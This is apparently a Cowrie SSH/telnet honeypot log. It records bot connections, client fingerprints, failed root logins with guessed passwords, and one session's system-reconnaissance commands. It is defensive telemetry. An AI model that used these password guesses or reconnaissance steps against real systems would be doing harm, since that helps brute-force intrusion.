{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:45:42.560437Z","src_ip":"91.92.40.4","session":"2f36a4e13e0f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:45:42.564448Z","src_ip":"91.92.40.4","session":"2f36a4e13e0f","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:45:42.567578Z","src_ip":"91.92.40.4","session":"2f36a4e13e0f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:45:42.570393Z","src_ip":"91.92.40.4","session":"2f36a4e13e0f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:45:42.573608Z","src_ip":"91.92.40.4","session":"2f36a4e13e0f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:45:42.576465Z","src_ip":"91.92.40.4","session":"2f36a4e13e0f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:45:42.579712Z","src_ip":"91.92.40.4","session":"2f36a4e13e0f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:45:42.669630Z","src_ip":"91.92.40.4","session":"2f36a4e13e0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:45:42.754435Z","src_ip":"91.92.40.4","session":"2f36a4e13e0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":52556,"dst_ip":"159.203.135.109","dst_port":22,"session":"6aeacd56598f","protocol":"ssh","message":"New connection: 160.187.174.22:52556 (159.203.135.109:22) [session: 6aeacd56598f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:45:43.209423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:45:43.214113Z","src_ip":"160.187.174.22","session":"6aeacd56598f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:45:43.510311Z","src_ip":"160.187.174.22","session":"6aeacd56598f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab123456","message":"login attempt [root/Ab123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:45:44.270386Z","src_ip":"160.187.174.22","session":"6aeacd56598f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:45:45.518592Z","src_ip":"160.187.174.22","session":"6aeacd56598f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":56046,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ba68cd5b568","protocol":"telnet","message":"New connection: 170.64.224.25:56046 (159.203.135.109:23) [session: 4ba68cd5b568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:45:47.153425Z"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":41290,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4d7900e5936","protocol":"ssh","message":"New connection: 143.20.185.207:41290 (10.17.0.5:22) [session: a4d7900e5936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:46:06.390832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:46:06.470102Z","src_ip":"143.20.185.207","session":"a4d7900e5936","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:46:06.617086Z","src_ip":"143.20.185.207","session":"a4d7900e5936","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XYZZVPS#8VCPU32GBAMD","message":"login attempt [root/XYZZVPS#8VCPU32GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:46:07.048288Z","src_ip":"143.20.185.207","session":"a4d7900e5936","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:46:08.173682Z","src_ip":"143.20.185.207","session":"a4d7900e5936","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.115.34","src_port":55188,"dst_ip":"10.17.0.5","dst_port":22,"session":"be9091243d79","protocol":"ssh","message":"New connection: 154.16.115.34:55188 (10.17.0.5:22) [session: be9091243d79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:46:09.204937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:46:09.209308Z","src_ip":"154.16.115.34","session":"be9091243d79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:46:09.235488Z","src_ip":"154.16.115.34","session":"be9091243d79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qnt@Tr0ng$P@ss","message":"login attempt [root/Qnt@Tr0ng$P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:46:09.313464Z","src_ip":"154.16.115.34","session":"be9091243d79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:46:10.341270Z","src_ip":"154.16.115.34","session":"be9091243d79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":55218,"dst_ip":"159.203.135.109","dst_port":22,"session":"1815c7866553","protocol":"ssh","message":"New connection: 160.187.174.22:55218 (159.203.135.109:22) [session: 1815c7866553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:46:13.520060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:46:13.527045Z","src_ip":"160.187.174.22","session":"1815c7866553","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:46:13.769792Z","src_ip":"160.187.174.22","session":"1815c7866553","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar123","message":"login attempt [oscar/oscar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:46:14.495413Z","src_ip":"160.187.174.22","session":"1815c7866553","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:46:15.741682Z","src_ip":"160.187.174.22","session":"1815c7866553","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.33.238","src_port":41744,"dst_ip":"10.17.0.5","dst_port":22,"session":"667aa48e7bff","protocol":"ssh","message":"New connection: 162.241.33.238:41744 (10.17.0.5:22) [session: 667aa48e7bff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:46:35.428462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:46:35.432326Z","src_ip":"162.241.33.238","session":"667aa48e7bff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:46:35.459707Z","src_ip":"162.241.33.238","session":"667aa48e7bff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"C3l0!S3cur3#W0rd","message":"login attempt [root/C3l0!S3cur3#W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:46:35.547034Z","src_ip":"162.241.33.238","session":"667aa48e7bff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:46:36.578441Z","src_ip":"162.241.33.238","session":"667aa48e7bff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":59420,"dst_ip":"159.203.135.109","dst_port":22,"session":"78e155712f57","protocol":"ssh","message":"New connection: 160.187.174.22:59420 (159.203.135.109:22) [session: 78e155712f57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:46:42.465774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:46:42.469595Z","src_ip":"160.187.174.22","session":"78e155712f57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:46:42.716171Z","src_ip":"160.187.174.22","session":"78e155712f57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@wsx","message":"login attempt [root/1qaz@wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:46:43.478008Z","src_ip":"160.187.174.22","session":"78e155712f57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":49620,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c314fb7de53","protocol":"ssh","message":"New connection: 38.93.206.2:49620 (10.17.0.5:22) [session: 2c314fb7de53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:46:43.690750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:46:43.694547Z","src_ip":"38.93.206.2","session":"2c314fb7de53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:46:43.753022Z","src_ip":"38.93.206.2","session":"2c314fb7de53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"7777sd","message":"login attempt [root/7777sd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:46:43.906636Z","src_ip":"38.93.206.2","session":"2c314fb7de53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:46:44.726868Z","src_ip":"160.187.174.22","session":"78e155712f57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:46:44.958136Z","src_ip":"38.93.206.2","session":"2c314fb7de53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.55144476890564,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:46:48.704753Z","src_ip":"170.64.224.25","session":"4ba68cd5b568","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":38626,"dst_ip":"159.203.135.109","dst_port":22,"session":"a78bb87fa7b7","protocol":"ssh","message":"New connection: 160.187.174.22:38626 (159.203.135.109:22) [session: a78bb87fa7b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:47:11.525461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:47:11.530730Z","src_ip":"160.187.174.22","session":"a78bb87fa7b7","protocol":"ssh"}
